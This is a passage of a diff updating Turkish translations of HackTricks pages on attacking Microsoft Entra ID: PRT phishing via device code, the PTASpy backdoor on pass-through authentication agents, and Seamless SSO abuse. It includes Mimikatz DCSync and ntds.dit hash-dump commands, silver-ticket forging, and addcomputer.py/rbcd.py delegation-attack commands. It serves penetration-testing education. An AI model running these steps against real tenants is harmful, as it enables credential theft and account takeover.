- **Hedef uygulamalar için Cihaz Kodunu devre dışı bırakan CA politikaları yoktur** (bunlar PRT verilmesini durdurmaz, ancak **korunan uygulamalara erişim için** kullanılmasını **engeller**).
- **Saldırgan kontrolündeki bir ana bilgisayar**, akışı çalıştırmak ve token'ları/cihaz anahtarlarını tutmak için.
- **Hedef uygulamalar için Cihaz Kodunu devre dışı bırakan CA politikaları yoktur** veya **uyumlu/hybrid cihazlar gerektiren** politikalar yoktur (bunlar PRT verilmesini durdurmaz, ancak **korunan uygulamalara erişim için** kullanılmasını engeller).
- **Saldırgan kontrolündeki bir ana bilgisayar**, akışı çalıştırmak ve belirteçleri/cihaz anahtarlarını tutmak için.
**Saldırı Akışı**:
@@ -296,9 +296,9 @@ curl -s -X POST \
3. **O refresh token'ı kullanarak** kiracıda **sahte bir cihaz kaydı** yapın (cihaz nesnesi oluşturulur ve kurbana bağlanır).
4. **Refresh token + cihaz kimliği/anahtarları** değişimi ile **PRT'ye yükseltin****PRT**, saldırganın cihazına bağlıdır.
4. **Refresh token + cihaz kimliği/anahtarları** değiş tokuş ederek **PRT'ye yükseltin****PRT**, saldırganın cihazına bağlıdır.
5. **(İsteğe bağlı kalıcılık)**: Eğer MFA yeni ise, **uzun vadeli, şifresiz erişim** sağlamak için **Windows Hello for Business anahtarı** kaydedin.
5. **(Opsiyonel kalıcılık)**: Eğer MFA yeni ise, **uzun vadeli, şifresiz erişim** sağlamak için **Windows Hello for Business anahtarı** kaydedin.
6. **Kötüye kullanma**: Kullanıcı olarak **Exchange/Graph/SharePoint/Teams/özel uygulamalar** için **erişim token'ları** elde etmek amacıyla **PRT'yi** kullanın (veya **PRT çerezi** oluşturun).
@@ -312,7 +312,7 @@ curl -s -X POST \
- [Dirkjan'ın PRT hakkındaki blog yazısı](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
- [Dirkjan'ın PRT'leri phishing hakkındaki yazısı](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
- [Dirkjan'ın PRT'leri kötüye kullanma hakkındaki yazısı](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)
- SpecterOps'un [Azure AD İstek Token'ları Talep Etme](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) konulu yazısı
- SpecterOps'un [Azure AD İstek Token'ları Talep Etme](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) yazısı
- [AADInternals'ın PRT'ler hakkındaki yazısı](https://aadinternals.com/post/prt/)
- [blog.3or.de](https://blog.3or.de/understanding-primary-refresh-tokens-and-cve-2021-33779-how-pass-the-prt-was-eliminated#:~:text=,the%20Token%20Broker%20on%20Windows)
@@ -1,14 +1,14 @@
# Az - PTA - Pass-through Authentication
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
## Temel Bilgiler
[Belgelerden:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra geçiş kimlik doğrulaması, kullanıcılarınızın **aynı şifreleri kullanarak hem yerel hem de bulut tabanlı uygulamalara giriş yapmalarını** sağlar. Bu özellik, kullanıcılarınıza daha iyi bir deneyim sunar - hatırlanacak bir şifre daha az ve IT yardım masası maliyetlerini azaltır çünkü kullanıcılarınızın giriş yapmayı unutma olasılığı daha düşüktür. Kullanıcılar Microsoft Entra ID kullanarak giriş yaptığında, bu özellik kullanıcıların şifrelerini doğrudan yerel Active Directory'nizle doğrular.
[Belgelerden:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra geçiş kimlik doğrulaması, kullanıcılarınızın **hem yerel hem de bulut tabanlı uygulamalara aynı şifreleri kullanarak giriş yapmalarını** sağlar. Bu özellik, kullanıcılarınıza daha iyi bir deneyim sunar - hatırlanacak bir şifre daha az ve IT yardım masası maliyetlerini azaltır çünkü kullanıcılarınızın giriş yapmayı unutma olasılığı daha düşüktür. Kullanıcılar Microsoft Entra ID kullanarak giriş yaptığında, bu özellik kullanıcıların şifrelerini doğrudan yerel Active Directory'nizle doğrular.
PTA'da **kimlikler** **senkronize** edilir ancak **şifreler** PHS'deki gibi **senkronize edilmez**.
Kimlik doğrulama yerel AD'de doğrulanır ve bulutla iletişim, **yerel bir sunucuda** çalışan bir **kimlik doğrulama ajanı** tarafından gerçekleştirilir (yerel DC'de olması gerekmez).
Kimlik doğrulama yerel AD'de doğrulanır ve bulutla iletişim, **yerel bir sunucuda** çalışan bir **kimlik doğrulama ajanı** tarafından gerçekleştirilir (bu, yerel DC'de olmak zorunda değildir).
### Kimlik Doğrulama Akışı
@@ -17,10 +17,10 @@ Kimlik doğrulama yerel AD'de doğrulanır ve bulutla iletişim, **yerel bir sun
1. Kullanıcı **giriş yapmak** için **Azure AD**'ye yönlendirilir, burada **kullanıcı adı** ve **şifre** gönderir.
2. **Kimlik bilgileri** **şifrelenir** ve Azure AD'de bir **kuvvet** içine yerleştirilir.
3. **Yerel kimlik doğrulama ajanı**, kuyruktan **kimlik bilgilerini** toplar ve **şifreler**. Bu ajana **"Geçiş kimlik doğrulama ajanı"** veya **PTA ajanı** denir.
4. **Ajan**, kimlik bilgilerini **yerel AD** ile **doğrular** ve **yanıtı** **geri** Azure AD'ye gönderir; eğer yanıt olumluysa, kullanıcının **girişini tamamlar**.
4. **Ajan**, kimlik bilgilerini **yerel AD** ile **doğrular** ve **yanıtı** **Azure AD'ye geri** gönderir; eğer yanıt olumluysa, kullanıcı **girişi tamamlanır**.
> [!WARNING]
> Eğer bir saldırgan **PTA'yı tehlikeye atarsa**, kuyruktaki tüm **kimlik bilgilerini** (şifrelenmemiş olarak) **görebilir**.\
> Eğer bir saldırgan **PTA'yı ele geçirirse**, kuyruktaki tüm **kimlik bilgilerini** (şifrelenmemiş olarak) **görebilir**.\
> Ayrıca AzureAD'ye **herhangi bir kimlik bilgisini doğrulayabilir** (Skeleton key'e benzer bir saldırı).
### Sayım
@@ -52,7 +52,7 @@ az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/aut
]
}
```
Ajanının yerel sunucuda çalışıp çalışmadığını kontrol edin:
Ajanın yerel sunucuda çalışıp çalışmadığını kontrol edin:
```bash
Get-Service -Name "AzureADConnectAuthenticationAgent"
```
@@ -70,7 +70,7 @@ Remove-AADIntPTASpy # Remove the backdoor
> [!NOTE]
> Eğer **kurulum başarısız olursa**, bu muhtemelen eksik [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe) nedeniyle olabilir.
Bu arka kapı:
Bu arka kapı şunları yapacaktır:
- Gizli bir klasör oluşturur `C:\PTASpy`
- `PTASpy.dll` dosyasını `C:\PTASpy`'ye kopyalar
@@ -95,4 +95,4 @@ seamless-sso.md
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta)
- [https://aadinternals.com/post/on-prem_admin/#pass-through-authentication](https://aadinternals.com/post/on-prem_admin/#pass-through-authentication)
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,6 +1,6 @@
# Az - Seamless SSO
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
## Temel Bilgiler
@@ -10,11 +10,11 @@
Temelde Azure AD Seamless SSO, **kullanıcıları** **yerel bir alan bağlı PC'de** **oturum açtırır**.
Hem [**PHS (Şifre Hash Senkronizasyonu)**](phs-password-hash-sync.md) hem de [**PTA (Geçiş Kimlik Doğrulama)**](pta-pass-through-authentication.md) tarafından desteklenmektedir.
Bu, hem [**PHS (Şifre Hash Senkronizasyonu)**](phs-password-hash-sync.md) hem de [**PTA (Geçiş Kimlik Doğrulama)**](pta-pass-through-authentication.md) tarafından desteklenmektedir.
Masaüstü SSO, kimlik doğrulama için **Kerberos** kullanmaktadır. Yapılandırıldığında, Azure AD Connect, yerel AD'de **`AZUREADSSOACC$`** adında bir **bilgisayar hesabı** oluşturur. `AZUREADSSOACC$` hesabının şifresi, yapılandırma sırasında **düz metin olarak Entra ID'ye** gönderilir.
**Kerberos biletleri**, şifrenin **NTHash (MD4)** kullanılarak **şifrelenir** ve Entra ID, gönderilen şifreyi biletleri şifre çözmek için kullanır.
**Kerberos biletleri**, şifrenin **NTHash (MD4)** kullanılarak **şifrelenir** ve Entra ID, gönderilen şifreyi biletleri şifrelerini çözmek için kullanır.
**Entra ID**, Kerberos **biletlerini** kabul eden bir **uç nokta** (https://autologon.microsoftazuread-sso.com) sunar. Alan bağlı makinenin tarayıcısı, SSO için bu uç noktaya biletleri iletir.
@@ -43,13 +43,13 @@ $searcher.FindOne()
O TGS biletini elde etmek için, saldırganın aşağıdakilerden birine sahip olması gerekir:
- **Bir tehlikeye atılmış kullanıcının TGS'si:** Eğer bir kullanıcının `HTTP/autologon.microsoftazuread-sso.com` biletine sahip oturumunu bellekte tehlikeye atarsanız, bulut kaynaklarına erişmek için bunu kullanabilirsiniz.
- **Bir tehlikeye atılmış kullanıcının TGT'si:** Eğer birine sahip değilseniz ama kullanıcı tehlikeye atıldıysa, birçok araçta uygulanan sahte TGT delegasyonu hilesini kullanarak bir tane elde edebilirsiniz, örneğin [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) ve [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
- **Bir tehlikeye atılmış kullanıcının hash'i veya şifresi:** SeamlessPass, TGT'yi ve ardından TGS'yi oluşturmak için bu bilgiyle etki alanı denetleyicisiyle iletişim kuracaktır.
- **Bir tehlikeye atılmış kullanıcının hash'i veya şifresi:** SeamlessPass, bu bilgi ile etki alanı denetleyicisi ile iletişim kurarak TGT'yi ve ardından TGS'yi oluşturacaktır.
- **Bir altın bilet:** Eğer KRBTGT anahtarına sahipseniz, saldırıya uğramış kullanıcı için ihtiyaç duyduğunuz TGT'yi oluşturabilirsiniz.
- **AZUREADSSOACC$ hesabı hash'i veya şifresi:** Bu bilgi ve kullanıcının Güvenlik Tanımlayıcısı (SID) ile saldırı yapmak, bir hizmet bileti oluşturmak ve bulutla kimlik doğrulamak mümkündür (önceki yöntemde olduğu gibi).
- **AZUREADSSOACC$ hesabı hash'i veya şifresi:** Bu bilgi ve kullanıcının Güvenlik Tanımlayıcısı (SID) ile saldırı yapmak, bir hizmet bileti oluşturmak ve bulut ile kimlik doğrulamak mümkündür (önceki yöntemde gerçekleştirildiği gibi).
### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)
[Bu blog yazısında açıklandığı gibi](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/), önceki gereksinimlerden herhangi birine sahip olmak, **SeamlessPass** aracını kullanarak bulut kaynaklarına tehlikeye atılmış kullanıcı olarak veya **`AZUREADSSOACC$`** hesabı hash'i veya şifresi varsa herhangi bir kullanıcı olarak erişim sağlamak için çok kolaydır.
[Bu blog yazısında açıklandığı gibi](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/), önceki gereksinimlerden herhangi birine sahip olmak, **SeamlessPass** aracını kullanarak bulut kaynaklarına tehlikeye atılmış kullanıcı olarak veya **`AZUREADSSOACC$`** hesabı hash'i veya şifresi varsa herhangi bir kullanıcı olarak erişmek için çok kolaydır.
Son olarak, TGT ile [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) aracını kullanmak mümkündür:
```bash
@@ -70,7 +70,7 @@ Daha fazla bilgi için Firefox'un seamless SSO ile çalışmasını sağlamak ü
### AZUREADSSOACC$ hesabının hash'lerini alma
Kullanıcının **`AZUREADSSOACC$`** **şifresi** asla değişmez. Bu nedenle, bir alan yöneticisi bu **hesabın hash'ini** ele geçirebilir ve ardından **herhangi bir yerel kullanıcıyla senkronize** Azure'a bağlanmak için **gümüş biletler** oluşturmak için kullanabilir:
Kullanıcı **`AZUREADSSOACC$`**'nın **şifresi** asla **değişmez**. Bu nedenle, bir alan yöneticisi bu **hesabın hash'ini** ele geçirebilir ve ardından **herhangi bir yerel kullanıcıyla senkronize** olarak Azure'a bağlanmak için **gümüş biletler** oluşturmak için kullanabilir:
```bash
# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
@@ -89,12 +89,12 @@ $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
```
> [!NOTE]
> Mevcut bilgilerle, daha önce belirtildiği gibi, alanınızdaki herhangi bir kullanıcı için azure ve entraid token'larını almak üzere **SeamlessPass** aracını kullanabilirsiniz.
> Mevcut bilgilerle, daha önce belirtildiği gibi, alanınızdaki herhangi bir kullanıcı için azure ve entraid token'ları almak üzere **SeamlessPass** aracını kullanabilirsiniz.
> Ayrıca, `AZUREADSSOACC$` hesabı yerine taklit etmek istediğiniz kurbanın şifresinin hash'ini almak için önceki teknikleri (ve diğerlerini) de kullanabilirsiniz.
#### Silver Biletler Oluşturma
Hash ile artık **gümüş biletler** oluşturabilirsiniz:
Hash ile artık **silver biletler** oluşturabilirsiniz:
```bash
# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
@@ -128,12 +128,14 @@ Silver ticket'i kullanmak için aşağıdaki adımlar uygulanmalıdır:
> [!WARNING]
> Bu **MFA'yı atlamaz eğer kullanıcıda etkinse**.
### On-prem -> Cloud üzerinden Kaynak Tabanlı Kısıtlı Delegasyon <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
Saldırıyı gerçekleştirmek için gereklidir:
- `WriteDACL` / `GenericWrite` üzerinde `AZUREADSSOACC$`
- Kontrol ettiğiniz bir bilgisayar hesabı (hash & şifre) - Bir tane oluşturabilirsiniz.
- Kontrol ettiğiniz bir bilgisayar hesabı (hash & şifre) - Bir tane oluşturabilirsiniz
1. Adım1  Kendi bilgisayar hesabınızı ekleyin
- `ATTACKBOX$` oluşturur ve SID/NTLM hash'ini yazdırır. Herhangi bir alan kullanıcısı bunu yapabilirken MachineAccountQuota>0'dır.
@@ -142,7 +144,7 @@ Saldırıyı gerçekleştirmek için gereklidir:
python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
-computer ATTACKBOX$ -password S3cureP@ss
```
2. Adım2 `AZUREADSSOACC$` üzerinde RBCD verin - Makinenizin SID'sini `msDS-AllowedToActOnBehalfOfOtherIdentity` içine yazar.
2. Adım 2 `AZUREADSSOACC$` üzerinde RBCD verin - Makinenizin SID'sini `msDS-AllowedToActOnBehalfOfOtherIdentity` içine yazar.
```bash
python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \
ATTACKBOX$ AZUREADSSOACC$
@@ -187,4 +189,4 @@ Eğer Active Directory yöneticileri Azure AD Connect'e erişime sahipse, **herh
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
- [TR19: I'm in your cloud, reading everyone's emails - hacking Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}